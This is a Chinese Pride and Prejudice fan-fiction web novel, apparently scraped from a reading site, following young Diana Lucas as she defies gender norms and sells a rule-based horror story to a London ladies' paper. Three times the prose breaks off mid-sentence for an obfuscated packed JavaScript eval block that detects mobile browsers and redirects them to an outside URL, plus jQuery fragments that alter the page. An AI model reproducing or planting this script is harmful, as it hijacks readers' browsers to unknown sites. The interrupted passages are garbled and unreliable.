《[傲慢与偏见]少管我》
1. 规则怪谈(一)
“我绝不会同意你发表小说,更不会给你签合同,不要再想不着边际的事,将小说还回图书馆,你该看些正经书。”
卢卡斯爵士放下一本书,离开休息室。
戴安娜拿起来一瞧,豁,《对青年妇女的布道集》,随便翻一页,封建思想俯拾皆是。
“我对许多女人的愚蠢感到吃惊……如果你们女人在丈夫面前表现得更加恭敬顺从,也同样更加的温柔。
“留心他们的情绪,原谅他们的过错,在不重要的小事上服从他们的观点,放过他们的一点点不公正、任性或愤怒。
“对急躁的话温柔作答,尽可能少抱怨,每天都想着如何减轻他们的忧虑,劝解他们的欲望,在沉闷时活跃气氛,唤起幸福快乐的念头。
“你们的家会成为天堂般的存在。”
它与《女诫》的区别是,《女诫》的作者是女性,而它的作者实打实是个男人。
侵略者和背叛者谁更可恨?她不清楚,她只知道很多迷茫的人懵懂时期读这些书,也的确努力这么做,却没有得到幸福安稳,压迫者们见她们软弱无能,只会变本加厉地欺凌。
可见面对刀剑,顺服是没有用的,最好的方式就是起而击之。
她不需要男人和精神男人教导她如何成为女人。
戴安娜顺手将书丢进燃烧的壁炉里,起身去找贝琳达女士——她的妈妈。
这是她的第二位亲生母亲,她出生于赫特福德郡乡下的卢卡斯府。
作为威廉·卢卡斯爵士和贝琳达·卢卡斯的三子,她自幼要学习钢琴、唱歌、针线、跳舞等才艺,为有朝一日嫁给体面的丈夫做准备。
这不仅是她的未来,也是所有中产家庭女人的未来。
然而女性一旦结殙,所有财产都会转移给丈夫。
她绝不接受。
可以骗她的感情,但是决不能骗她的钱。
一便士都不行,更何况是价值100英镑的遗产。
她每日都在思考破局之法。
很简单,不结殙,财产自然还是自己的,所需要考虑的是如何谋生。
外出找工作?笑死,为了将女人堵在家庭里,根本没有给女人的工作;做点小生意?妹妹刚出生,姐姐待她好,她不能堵死她们的选择。思来想去,只能写小说了。
感谢琼瑶,她的存在告诉她,女人写作能赚钱;感谢阿加莎,她的存在告诉她,女人写作能得个爵士头衔。
这是一份做好了,有钱有名的工作。
然而就这么一条活路却遭到卢卡斯爵士的反对。
英国爵位从上到下是公、侯、伯、子、男,在最末一等的男爵看来,爵士与平民无异。
不过这不是重点,重点是卢卡斯爵士相当自重身份,他先是拿了许多报纸给她看评论家对小说这种文体的批判,然后拿来《对青年妇女布道集》让她好好研读。
她没有签合同的权利,要发表文章必须让卢卡斯爵士签合同,他不同意,第一步都迈不出去。
家里只有妈妈能治一治他。
每每卢卡斯爵士滔滔不绝什么进宫跳舞、觐见国王、受封爵士,贝琳达女士总能止住他的话头将人支走,戴安娜很佩服她。
贝琳达女士耐心听完她的话,问道:“写小说?亲爱的杜赫,这太惊人了,为什么你会有这种想法?”
杜赫(duch)是家人对她的爱称,起因是玩耍时,二姐玛利亚说她像公爵夫人(duchess),但音发成duch,她更喜欢这个音,家人干脆将错就错。
戴安娜回答:“我谈不好钢琴,唱歌能跑调到苏格兰,做不好针线,更学不会跳舞,恐怕找不到理想的丈夫,所以我决定自己养自己。”
贝琳达女士顿时回忆起教女儿跳舞结果被踩了十八脚的恐惧,摇头:“我的孩子,你不是学不好,你是不想学。”
她只说了这么一句便放下针线找卢卡斯爵士说这事,戴安娜跟着偷听到以下:“杜赫性格顽固,你的理由不能说服她,她不可能真正死心,走上我们给她安排的路,不如你顺着她的意思给出版商投稿,那边若是了无音讯,她会灰心,也不会怨恨你,亲爱的,这样不好吗?”
卢卡斯爵士欣然应允,第二天宣布了这件事:倘若有出版商看中,那他就会给她签合同,反之就老老实实做个淑女。
戴安娜深知机会难得,一次性拿出三份稿件来,吓得卢卡斯爵士连声说不能一稿两投,戴安娜便说不是一稿两投,而是三稿三投,分别投往三家报社,卢卡斯爵士左右踱步,念叨着太糟糕了,戴安娜不理,催促男仆快点去送,看人走远了,终于松了一口气。
在等待回信的时间里,戴安娜埋头写新的故事。
写作这东西不像做菜,能从色香味三个角度判断优劣,她看不出自己写的东西哪里不好,非要过一段时间,等忘记这篇文章,再拿出来看,能看下去,说明不错。
“杜赫,杜赫!你在哪?快点出来。”
这大惊小怪的声音说明她又要面对无意义社交了。
戴安娜认命地收好稿子,扬声道:“来了,别喊。”
刚来到楼下,她十岁的弟弟威尔跑了过来,叽叽喳喳道:“杜赫你绝对想象不到,爸爸请来民兵团的军官教我们马术,他的马术成绩每次都是第一名,快来吧!到班纳特的马场上去!”
马场上最显眼地当属穿着红制服的军官库珀,他讲述几句骑马的要点,叫威尔先上马尝试,戴安娜站在边上略感无聊,看向身旁的小女孩,问道:“简,班纳特夫人最近还好吗?”
简回答:“妈妈很好,偶尔会觉得神经痛,谢谢你的问候,戴安娜。”
戴安娜心说,家里五个孩子,最小的刚四岁,能不神经痛吗?
卢卡斯府附近有一座朗博恩庄园,班纳特夫人是朗博恩的女主人。戴安娜来到这世上见过的人不多,最佩服贝琳达女士,其次是班纳特夫人。
她一想到在这医疗水平几近于无的时代,这两位居然生下了五个孩子就肃然起敬。贝琳达女士稳居第一倒不是血缘之故,而是她的精神状态还很正常,班纳特夫人已经开始不正常了。
两家是邻居,常常是我去你那吃顿晚饭,你来我这参加聚会,戴安娜就不止一次见到班纳特夫人大吵大闹,叫人心生怜悯,不禁道:“莉迪亚刚四岁,这个年纪的孩子很闹腾,海伦就是这样,真是辛苦班纳特夫人了。”
“有希尔太太和女仆照顾妈妈,我也会帮忙,一切都会好的,”简说,“戴安娜,我听得出你真挚的关心,你真是太好了。”
看着这金发蓝眼的十一岁女孩仰头微笑的模样,不难理解为什么是个人都叫她小天使,正要说话,却听前方传来一道男声:“小淑女们,聊完了吗?没聊完也请稍候再聊,到你们了。”
戴安娜最烦别人叫她淑女,烦不胜烦地抬头,发现她那傻弟弟正骑在一匹小马上,马场的工人牵着缰绳领着慢慢走,库珀与另一匹小马站在她们面前,询问哪个先来。
马和马场都是班纳特家的,戴安娜便说让简先来,自己站在边上看着,这一看看出点不对劲来,不知不觉拧起眉心。
“看看他们,骑得多稳,马上就到你了,别心急。”库珀见她神色,将简交给善于骑马的亨利,走过来安抚道。
戴安娜望着库珀,说道:“我实在是等得无聊,先生,也许我有幸能见到你骑马的英姿?”
库珀躬身行礼:“当然,满足一位淑女的要求正是我该做的。”
戴安娜不以为然,看他来回骑了几圈赢得全马场的欢呼声,简和威尔无不艳羡,她神色不变,库珀见此讶然,下马问道:“难道我没有满足你的好奇心吗?这真是我的不对。”
“是的,先生,我刚才只看到您用威尔那种骑法,为什么不用简那种骑法?我很想看您双腿并拢,侧坐在马背上疾驰,或者跨越栅栏的盛景。”
库珀略有不悦,说道:“那是小姐的骑法。”
戴安娜歪头,然后摊手:“那又如何?我听威尔说您是团里马术成绩最好的,如果您承认小姐做得到的,您做不到,那我就无话可说了。”
库珀气极反笑:“戴安娜小姐,你是来学骑术的还是来找茬的?”
“请不要这样说,我承担不起这种指责,我只是觉得跨骑比侧骑要难,想学轻松简单的东西不应该被责怪吧?”
“跨骑?”库珀冷笑一声,弯腰靠近戴安娜,“曾经有个法国女人跨骑,戴安娜小姐知道她后来怎么样了吗?她被架上火堆,烧死了。”
戴安娜倏地掀起眼皮,定定地凝视他,叫想吓唬她的库珀倒退一步,下一刻库珀感到羞恼,他竟然会被小女孩的眼神吓到,马上又觉得没看到想看的反应很无趣,懒得理她。
“你说得是贞德?她死后第25年就平反了,教皇加理斯都三世授权教廷重新审判,你不服法庭的判决吗?”
可想而知戴安娜没有学习侧骑,军官怒气冲冲地跑了,威尔没心没肺,自顾自骑在小马上玩,反正他说不过姐姐,也打不赢姐姐。
简担忧地看她,劝道:“戴安娜,你不该那么说的,库珀先生是卢卡斯爵士的朋友。”
好在卢卡斯爵士是脾气很好的人,戴安娜不会受到太严重的责难,不过邻居们难免又要议论她。
乡下没有太多新鲜事,一件不寻常的事就够人们说上好久,记上好久。
简对此忧心忡忡。
戴安娜不在乎那些,“简,我说错了吗?”
十一岁的英国小孩简脑子里有一套很清晰的处事规则,女人不可做男人的事,男人不可做女人的事,强迫她们去做,双方都会感到羞辱。
所以在她看来,库珀的反应很正常,戴安娜的做法却非常奇怪。
简委婉地表达自己的看法,戴安娜听明白了,不意外。
很多人都是这个想法,她猜得到,那些人会想,她老老实实学
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621658|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
习侧骑就没这么多事了,别人都是这样过来的,偏她要闹。
但她们没有想过,分配方式一开始就是错的。
她提出错误,不代表错在她。
与简告别,戴安娜跑回家继续码字,至于骑马,她缝好能跨骑的裙子再来不迟。
卢卡斯爵士待人友善绝非虚名,更难得的是他表里如一,不会像她上辈子那个爹似的,对外唯唯诺诺,对内重拳出击。
得知她气跑了他的客人,他没有骂她,没有打她,只在晚饭结束时,板着脸说道:“不要管那些法国佬,杜赫,你要先认识到你的错误,你对库珀先生太无礼了。”
戴安娜放下刀叉:“无礼吗?我相信任何人受到不公的对待都会有所触动,那位库珀做得未必会有我好,事实证明的确如此,我只说让他侧骑,他就恼羞成怒,用贞德被烧死的事吓我。”
卢卡斯爵士惊呼:“愿上帝原谅……”
“小姐侧骑会更加优雅,这不是不公的对待,亲爱的杜赫。”贝琳达女士打断丈夫的话,对戴安娜说道,卢卡斯爵士只有点头的份。
戴安娜问:“您的意思是小姐需要优雅的侧骑,先生适用粗鲁的跨骑吗?我以为先生追求的同样是优雅的言行,倘若跨骑真的优雅真的很好,他们为什么不这么做?为什么在我提议时恼羞成怒?”
话至此处,戴安娜实难忍受,她很了解一家人的性格。
妈妈和大姐夏洛特是一个模子立刻出来的守序人,二姐玛利亚像爹,性子软却是个糊涂人,四弟威尔大脑空空,大姐温和的教导他不听,非要她扬起巴掌,他才会缩缩脖子,五妹才八岁,正是干饭的年纪。
可想而知,这些人听她吐槽,她得到的回应肯定不是“先生用跨骑这种安全高效的骑法,却将危险的侧骑让别人学真不是东西”,反而会像听不懂人话一样告诉她别想太多,学侧骑就对了。
想想就令人窒息,对她们说话还不如对着树洞倾诉,树洞不会气她。
化悲愤为食欲干掉半桌饭,戴安娜回到房间,靠着门,回忆起卢卡斯爵士最后的表情,猜测他又要说什么愿上帝原谅她的话,她不屑地想,谁稀罕?
越想越气,偏报社又在此时来信,只看卢卡斯先生的表情就知不是好消息,她关门展开信纸,一目十行。
尊敬的卢卡斯爵士:
我不理解您为何提出这样的无理要求,数百年来,文学一直属于男人。我不否认现在很多女人也在发表文字,写些上不得台面的哥特,这有赖于上帝的宽容。即便如此,她们依旧谦卑地使用男性笔名,为何您竟然会纵容您的女性亲属用女性笔名发表文章?实在是闻所未闻,假如您仍重视自己的名誉……
第一页未完,戴安娜直接将信纸团成团,丢到一边。
跨骑是男人的,文学是男人的,连笔名都得用男人的,他们日子过得真好,怪不得那么多女人想飞升成男人,就算被拒之门外,也要当精神男人。
气完了觉得无力,仰躺在床上,这辈子只活了十二年,所遭遇的不公和委屈便超过了上辈子24年,她这还是生在爵士之家,吃穿不愁,底层女性又在遭受什么?
思及此,她立刻爬起来,坐到书桌前,从右手边的抽屉里拿出纸笔开始码字。
以前她以为想象是作家必不可少的东西,现在她才明白苦难才是文学的灵魂,她从没有任何时候比现在更富有表达欲望。
泰晤士报将稿子原封不动寄回来,每日新闻嘲讽她要女性笔名自不量力,不提也罢。
她多写点,伦敦的每一家报社都骚扰个遍,她就不信没人看得上她的规则怪谈。
然而这个想法早泄了。
如今的英国是乔治四世当政,距离“不论远近,邮资都是一便士”的美好时代还差好几年,她没有那么多钱骚扰全伦敦的报社。
她的零花钱买纸笔都慊不够,就算去妈妈大姐二姐那里叫唤“饿饿,钱钱”,也只够锁定几个目标。
她咬咬牙,冲进她爹的书房,好说歹说磨出未来两个月的零花钱,吩咐男仆去伦敦时,买来市面上各种类报纸各一份,她要做市场调研。
没收到回信之前,她心中忐忑,只给大报社和知名出版商投稿是不是眼高手低?现在没有那种不配得感了,是他们配不上她,她要试试小作坊。
男仆晚饭前回来,给她带来厚厚一沓报纸,足以看得出十九世纪初的英国,报刊业是何等的繁荣。
《泰晤士报》《伦敦公报》《每日新闻报》自不必提,行业龙头,包罗万象,卢卡斯爵士常看,倒不必特意再买。
其余报纸面向不同读者,内容也有所不同。
给医生的《柳叶刀》没有买,但是别的还算充足,有关注政治问题的《评论》,有饱受中产阶级欢迎的《绅士杂志》,还有适合女性阅读的《淑女通讯》……
戴安娜目光一凝,仔细看完内容,露出笑容。
嘿嘿,她找到女频了。
2. 规则怪谈(二)
戴安娜花费一天时间读完所有报纸,从中挑选五家,拣选故事,查看是否完整,当天就寄了出去。
做完这一切,瘫在沙发上,长长出一口气。
不能将宝押在《淑女通讯》上,就读者的构成来看是女频不假,然而《淑女通讯》是男老板创办的,他要是思想落后,再好的作者和读者都会被赶走。
她想了想,拿出压在字典下面的一封信,展开看了起来。
【亲爱的戴安娜:
最近伦敦的天气很不好,很少见到太阳,我很怀念和你在一起的日子,但愿卢卡斯府的天空永远晴朗。
很遗憾地告诉你,你读再多法律书籍也没用,伦敦没有女律师,但是你千万不要灰心,你有别的选择。
首先是家庭教师,你会钢琴和数学,懂得缝纫,如果你再学会法语,那你将会是很受欢迎的家庭教师。你能想象出色的家庭教师年薪是多少吗?40英镑,很不可置信对不对?
然后是写小说,我听说很多有钱人看不起小说,但是管他们呢?能赚到钱就好,关于热门题材,我不方便说,你去图书馆看看吧,就像以前一样。
最后是女仆,听着,亲爱的杜赫,我绝不愿意你从事这份工作,太辛苦。我有一个姐妹在卖牛奶的家里做女仆,住在潮湿的地下室,却很难赚到劳动应得的钱。
你必须寻找阔绰的雇主,五点起床,打开窗户通风,擦三次壁炉,清理地毯,用掸子清理灰尘,用油保养红木家具,防止开裂,还有等等很繁琐的活。
我要熬出来了,我的另一个朋友邀请我去新雇主家工作,就像你说的,流水的雇主,铁打的女仆。我现在的雇主是一位纺织厂商人,新雇主将是一位伯爵,太惊喜了不是吗?我真希望能拥抱你,让你也这么高兴,或许我可以梦想成为伯爵庄园的女仆长吗?
爱你的玛姬。】
写信的人是玛姬·布朗,附近农夫的孩子,12岁来到她家做女仆,做了三年,她该涨薪了,她家不能支付更高的薪水,玛姬就拿着她求她爹写的推荐信前往伦敦,寻找新的雇主。
她教玛姬认字写字算数弹钢琴,她们之间建立深厚的情谊,每两个月,她就能收到玛姬的信。
戴安娜还记得看完信是怎样的开心,将信按在胸口,转了一圈倒在床上,然后马上爬起来写信,省略谈天气的闲话,告诉她,何止是女仆长,她能成为一位管家。
虽然还是当女仆,但从纺织厂商人的家里到伯爵庄园属于隐性升迁。
她为姐妹的争气感到高兴,同时觉得她不能落于人后。
收到信后,她的职业规划愈加清晰。
现在先写小说试水,学习各种技能,要是写不出个名堂来,那就去应聘家庭教师或者当女仆,挤出空闲时间写点小说。
总之不能当女结殙员。
她小心收起信件,摊开一本法语语法,专心致志背起来。
作为一种语言,它的语法一团乱麻,多达17种语态,系统地学或许还好,但是自学实在令人头秃。
也没什么好办法,只要背不死,就往死里背。
……毕竟报纸上的广告说学法语每小时的费用是24便士,十个小时就是一英镑,也就是卢卡斯府年收入的二百四十分之一。
一切能用钱解决的问题都是大问题。
后面几天,坏消息频传,她一方面继续写大纲创作,另一方面做好最坏的准备,疯狂学习语言。
却不知有人正在对她的文字爱不释手、抓耳挠腮。
《淑女通讯》的创办人约翰·当顿坐在壁炉边的沙发上,先看完了来信上的要求,笑了笑,搁到一边,往下看,这一看又笑了,只见头一行的标题是孤堡惊魂——平平无奇,而副标题是规则类怪谈,不由得让他想起霍勒斯·沃波尔的《奥特兰托城堡》,副标题是“一个哥特式故事”。
在他之前,哥特只不过是建筑的风格,在他之后却成为了新的小说流派。假如这位卢卡斯小姐也知道此事,那她这个前所未有的标题可真是野心不小,他猜想这位小姐二十岁左右,或者更小,想罢,往下看。
伊莱恩男爵手持烛台,借着微弱的火光快步穿过长廊,一把拉开房间的门,正对面的镜子倒映出一张惨白的脸,他关上门,站在坐便器前,没一会,他提上裤子,忽然听到滴答滴答的水声。
一股寒意从脚心窜到大脑,他颤颤巍巍地想:‘镜子里那张脸是自己的脸吗?’他不受控制地转头,只见那玻璃圆镜里是熟悉的脸庞,顿松一口气,然而下一刻镜子中那张脸突然笑了,嘴角咧到耳际。
约翰·当顿坐直身体,暗笑还以为是什么大作,叫那群编辑们争论不休,不过就是长廊水声神秘力量这种哥特式小说里老掉牙的东西。
柴火堆在壁炉旁边,他添了几根,火焰高涨,又抿了一口桌上的红茶,继续往下看。
发现伊莱恩男爵的是艾萨克子爵,他照常前往盥洗室方便,一低头瞧见坐便器里漂浮着伊莱恩男爵大笑的头颅,惊叫跌坐在地,外面传来嘈杂的脚步声,很快一群人出现在门口,艾萨克子爵一句话说明情况。
受害人的妹妹哭倒在地,红发女性抱住她小声安慰。
有人不顾当场晕倒的妻子,兴奋地查看里面的情况,骇得弯腰干呕,他的弟弟轻抚他的后背。
有人命令妻子和女仆去找规则,被妻子嘲讽,两人争执起来,女仆瑟瑟发抖,不敢言语。
还有人站出来劝架,他的夫人按住要跑出去找规则的莽撞男儿。
短短一段话里竟然出现了十二个人物,对话间介绍了每个人的姓名特点,似乎每两人之间就存在龃龉,叫人好奇他们生活在这诡秘的古堡中会发生什么故事,还有副标题和人物一再提起的规则是什么东西?
人们分成三组,分别到大厅、餐厅、起居室寻找线索,最后是红发的维拉在起居室里的一摞报纸里发现了写在羊皮纸上的规则,内容如下:
尊贵的客人们,欢迎来到我家做客,希望您能遵守我所制定的规则,在我家度过愉快的四天。
1.我家一共有十一名仆人,女仆穿白色,男仆穿黑色,倘若看到了穿红色的仆人,那一定是幻觉,请告知管家。
2.早餐时间是上午十一点,晚餐时间下午六点,请每天最少进食一次,保持健康,过时不候。
3.入睡时间是夜晚十二点,超过十二点不要走出房门,以免打扰他人休息。
4.家中有藏书室、雕塑室、画室、玫瑰园,请最少参观一间,我相信您定然会感到不虚此行。
5.我的藏品不会动,更不会说话,倘若您听到藏品说话,请原地闭眼倒数四秒,一切都会好的。
6.四天时间一到我会派遣马车护送各位回家,请不要擅自走出城堡,马车绝不会出现在屋子里,如果在屋中看到马车,请立刻离开该区域,前往盥洗室避难。
7.家里绝不会有地下室,如果有人要带你去地下室,请拒绝他,否则后果自负。
看到这,约翰·当顿骂道:“骗子!这破地方没地下室?你敢对上帝发誓吗?”阴森森的地下室从来都是哥特的经典元素好不好?冷静下来,他觉得这七条规则更阴森,可这不应该啊。
从前文可知,这座城堡与绝大多数哥特小说里的城堡一样存在神秘力量,不知道是恶魔还是幽灵,动不动就威胁人的生命。文中角色看重规则,说明遵守规则可以保命,事实上当顿也这么认为的,跟随人物视角迫切地寻找规则。
然而这规则上都写了什么鬼东西?当顿自认为他比读完哥特“不敢闭上眼睛”的评论家们要胆大许多,却不想短短七句话读完,他的鸡皮疙瘩集体起立。
他没有深想,迫不及待看下一页。
刚刚失去兄长的妹妹捂着脸,用带着哭腔的声音说:“要是我们昨晚就找到规则,哥哥就不会……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621659|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
善良的维拉第一时间安慰她:“这不怪你,我们被拉进这个怪谈的时候已经十一点了,当时管家叫我们回房,谁敢不听他的?”
艾萨克子爵附和:“没错,这些幽灵哪里是好招惹的?虽说它们存心要害死我们,但是第一天有规则约束,不会这么做,那种情况下我们只能听它的。”
此时所有人坐在沙发上,皆垂头丧气,艾萨克子爵想到一起床就碰上这种糟糕的事,连一口水都没喝,城堡的仆人尽是幽灵不能指望,他便要去厨房泡茶,刚一转身发现管家就站在他身后,一张脸几乎贴在他的脸上,面带微笑问:“尊贵的客人,您刚才在说什么?”
当顿何曾见过这样的贴脸杀,差点和艾萨克子爵一样叫出声来,甚至觉得背后凉飕飕的,只觉此时此刻有人站在他背后,等他回过头就送他去见上帝。
此前他还觉得神秘力量,即文中的幽灵有实体是件好事,总比暗处装神弄鬼要好,现在看来有了身份,吓人更加肆无忌惮了。
众人惊魂未定之际,是维拉给他解围,好在管家没有难为人,笑着询问他们在早餐前要不要去参观,众人虽不愿,却知晓怪谈里越是早期越安全,拖到第四天去参观,鬼知道里面有什么幽灵等着。
当顿眼看着管家指了路就不管了,虽然吐槽幽灵没规矩,却松了口气,不想上了二楼就遇上了四个仆人。
黑衣男仆说:“我家主人的藏书很多,有很多市面上没有的绝版书,尊贵的客人们不想去看看吗?”
白衣女仆说:“我家主人收藏的雕塑惟妙惟肖,不参观的话是您的损失。”
黑衣男仆说:“您对油画感兴趣吗?我敢保证绘画的原材料与外面不同,一定可以点燃您对绘画的兴趣。”
白衣女仆说:“这个季节玫瑰花鲜艳美丽,每一朵都由花匠精心照料,而且花香怡人,时刻等待您的垂青。”
这四句话分别是对四个男人说的,众人面面相觑之下说他们需要时间考虑,这四个仆人嘴上答应,却在旁边虎视眈眈。
经过短暂的商议,一行人选了藏书室,便跟随黑衣男仆前往藏书室,当顿看得连连点头,比起画、雕塑、玫瑰花,他也觉得书更安全,到达藏书室门口,意料之外却是情理之中地收到黑衣男仆递来的《藏书室浏览规则》,上面有七条读着令人背脊发凉的规则。
当顿努力抑制住骂人的冲动,他认为当下应该比较每个房间的规则,看看哪边杀伤力最弱,但是很难做到,来了不进去八成会激怒仆人幽灵,果然艾萨克子爵一提,仆人立刻变脸。
气氛僵硬起来,几位爵位高的联合欺压艾萨克子爵,而艾萨克表示他进去可以,但是维拉不行,维拉声明要与他共同进退。
看得当顿连连点头,心想这两个大约就是主角了,再加上一个失去哥哥分外依赖维拉的妹妹,三人进入藏书室,剩下的人仆人不做要求,人们便各自去探索城堡。
一口气看完三人在藏书室的剧情,艾萨克发现获得书签的规律,维拉避开不少陷阱,最弱小的妹妹偶然触发藏书室维护的隐藏条件,叫那群将他们当敢死队的家伙四天内不得进入藏书室,看到别人打算落空,当顿不由大呼过瘾,积压在胸口的憋闷恐惧都散去了。
然而下一刻他就看到三个贵族扎堆,发起人认为女性和小孩在怪谈中只会拖后腿,不如下一次参观他们三个组队,另外两人犹豫片刻答应了,结伴去找二楼楼梯口的白衣女仆,女仆听完来意后,欣然带他们前往玫瑰园,然后递过去规则。
这三人埋头研究,谁都没有发现这位微笑的白衣女仆衣领处露出一角红色。
当顿下意识翻页,然而一看却是第一页的内容,他后知后觉反应过来这就是寄来的全部内容了。
他往沙发背一靠,双目无神,喃喃道:“上帝啊,如果我做了孽,请您亲自惩罚我。”而不是让他看到to be continued(未完待续)。
3. 规则怪谈(三))
约翰·当顿是体面的英国人,他不会抓狂,顶多心里谩骂戴安娜小姐不是人,面上仍是一派冷静,先将文稿收好,自觉红茶喝多了,便拿着烛台去盥洗室。
一进门下意识扫了一眼镜子,收回视线之后难免心中想:‘镜子中的人是自己吗?’然而他却不敢抬眼求证,洗完手就逃出盥洗室。
文字所能展现的恐怖是有限的,人的想像力却是无限的,他现在深有体会。
比如他走在走廊中时刻觉得一回头就会遭遇贴脸杀,来到书房,往日里他引以为豪的大书柜此刻却让他心中惴惴,他吐出一口浊气,拿出纸笔开始写信,条件可以见面谈,下文他要尽快看到。
翌日傍晚,这封特殊关照过的信送到卢卡斯府,戴安娜回来后,一知道这事就去书房找卢卡斯爵士,后者见瞒不住,递信给她。
戴安娜拆开,信中内容如下:
尊敬的卢卡斯爵士。
很抱歉现在才给您回信,您将稿件投递到报社时,我正在利物浦出差,5月20日回到伦敦,从编辑手中看到这篇文章,毫不夸张地说,您的文字迷住了我。希望您不辞辛劳,于5月23日前往报社与我面谈,带上怪谈的后半部分,我将一整天都待在办公室恭候您的到来。
再次为没有及时回信致歉。
戴安娜看完后,一面折上信里撂在桌上,一面坚定地说:“5月23,你陪我去伦敦。”
卢卡斯爵士皱眉,不赞同地说:“《淑女通讯》是季刊报纸,在《每日新闻报》面前完全不入流,我必须告诉你《每日新闻报》日发行就有上万份,《泰晤士报》更是高达五万份,而《淑女通讯》的季发行量说不定还不到5000份,杜赫,你真的要舍弃《每日新闻报》,选择《淑女通讯》吗?这不是明智的行为。”
戴安娜:“不是我舍弃它,是它先舍弃了我,我想你还记得他在信上是如何说的。”
她若是忍下这份蔑视,继续合作,那对方的蔑视就会变本加厉。
任是卢卡斯爵士怎么劝,她都不改口,最后干脆离开书房,卢卡斯爵士唯有叹息,心想女儿不够圆滑,外表再如何早熟,内里终究是小孩子,等到了他这个年纪就会知道别人说两句怎么了,又不会掉一块肉,广泛的发行量带来的知名度和大报社能付出的稿费才是实打实的。
睡前将这事说给妻子听,妻子听罢说孩子还小,要面子很正常,又说:“在那种小报社可能几年都写不出大名堂,等杜赫大了,进入社交界也许就不热衷写小说,你也就不用担心名誉的问题。”
卢卡斯爵士一听认为有道理,孩子十二岁叛逆比十七岁叛逆要好得多,原本对商谈后的签约心存疑虑,现在倒是半点没有了。
23日当天,戴安娜与卢卡斯爵士坐上马车,对贝琳达女士比了个飞吻,视线挪开,看到闹腾着要去伦敦玩被她暴力镇压后蔫了吧唧的弟弟,又看向神色各异的姐妹,再次望向贝琳达小姐并对她致以最崇高的敬意,直到马车开动。
卢卡斯爵士告诉她坐马车到伦敦需要三个小时,她点点头,上车后望着车外的绿色,回想她制定的作战方案,越想越有底气,回过神来,看不停擦汗的卢卡斯爵士就有点不顺眼。
“威廉先生,你很紧张吗?”不等他回答,戴安娜继续说,“那位总编先生不会比国王更威严。”
卢卡斯爵士:“我知道我知道,我没有紧张,我只是很热。我的杜赫,你完全可以不用来的,没有任何一个我们这样家庭的淑女会坐上谈判桌。”
戴安娜道:“我的文章的署名权当然要由我来捍卫。”
现在报纸市场几乎饱和,约翰·当顿另辟蹊径,发行专门面向女性群体的《淑女通讯》,通过这件事戴安娜就可以勾勒出一个中产阶级的精英形象,再看看卢卡斯爵士,完完全全是条咸鱼嘛,难以想象他是如何当的市长,又是如何做生意发了一笔财。
她担心将谈话全权交给卢卡斯爵士,就算约翰·当顿把她卖了,他都会边拍手边喊“太好了”。一想到那场景,戴安娜不寒而栗,再次检查作战方案是否存在漏洞。
时间一晃就过去了,马车驶进伦敦,看着路边的建筑,戴安娜只觉得伦敦空气太差,影响她思考,到了走下车时,脑子里就只剩下随机应变四个字。
两人一前一后走进报社,门口的男接待问道:“先生,请问需要帮助吗?”
卢卡斯爵士说:“鄙人威廉·卢卡斯,与约翰·当顿先生有约,今日前来拜访。”
男接待的表情顿时郑重起来,从桌子后走出来,“欢迎您,卢卡斯爵士,当顿先生在办公室等候,请跟我来。”
戴安娜走在卢卡斯爵士身侧,余光打量这古朴的装修,不一会,走进一处风格颇为讲究的办公室,看到神色可亲的先生迎过来,与她目光相接时,不知为何无懈可击的表情裂开,转瞬间恢复如常,要不是戴安娜眼神好,还以为是幻觉。
“快请坐。”
两位先生相互见礼,然后相对坐上两张沙发,男接待立刻端着托盘进来,上面放置精美的茶壶和三个茶杯,当顿亲自倒茶,热情地请她们品尝。
盛情难却,戴安娜低头抿了一口,大脑放空,怀疑这人是想送走她,好继承她带来的稿子。
卢卡斯爵士却给予极高的评价:“我敢说这茶比我早些年在王宫里喝过的还要好喝。”
当顿:“您去过王宫?真是了不起的经历。这是东印度公司新运来伦敦的茶,里面放了樱桃、百香果、金盏花、薰衣草和薄荷,来自巴西甘蔗园的糖更是少不了的,很荣幸得到您的认可。”
随着他的诉说,戴安娜腹诽道:‘别说了别说了,孩子要甜死了。’不想下一刻当顿忽然问道:“戴安娜小姐,我注意到你只喝了一口,我准备的红茶不符合你的口味吗?”
戴安娜:“对我来说太甜了。”
当顿露出歉意的表情:“抱歉,等下次,我会让他们单独拿一碟糖,让你能随心意放。”
别人要是嘲讽她,她倒是能回怼,但她不太会接别人的善
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621660|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意,说了声谢谢就开始转移话题,“我想先生已经读过我的故事了,介意告诉我您的感受吗?”
当顿笑道:“我相信伦敦胆子最大的人读了您的故事都不敢照镜子、不敢冒然回头。虽然这一年刚过了五个月,但是我敢保证这将是今年最成功的哥特小说,前提是它能顺利刊登。”
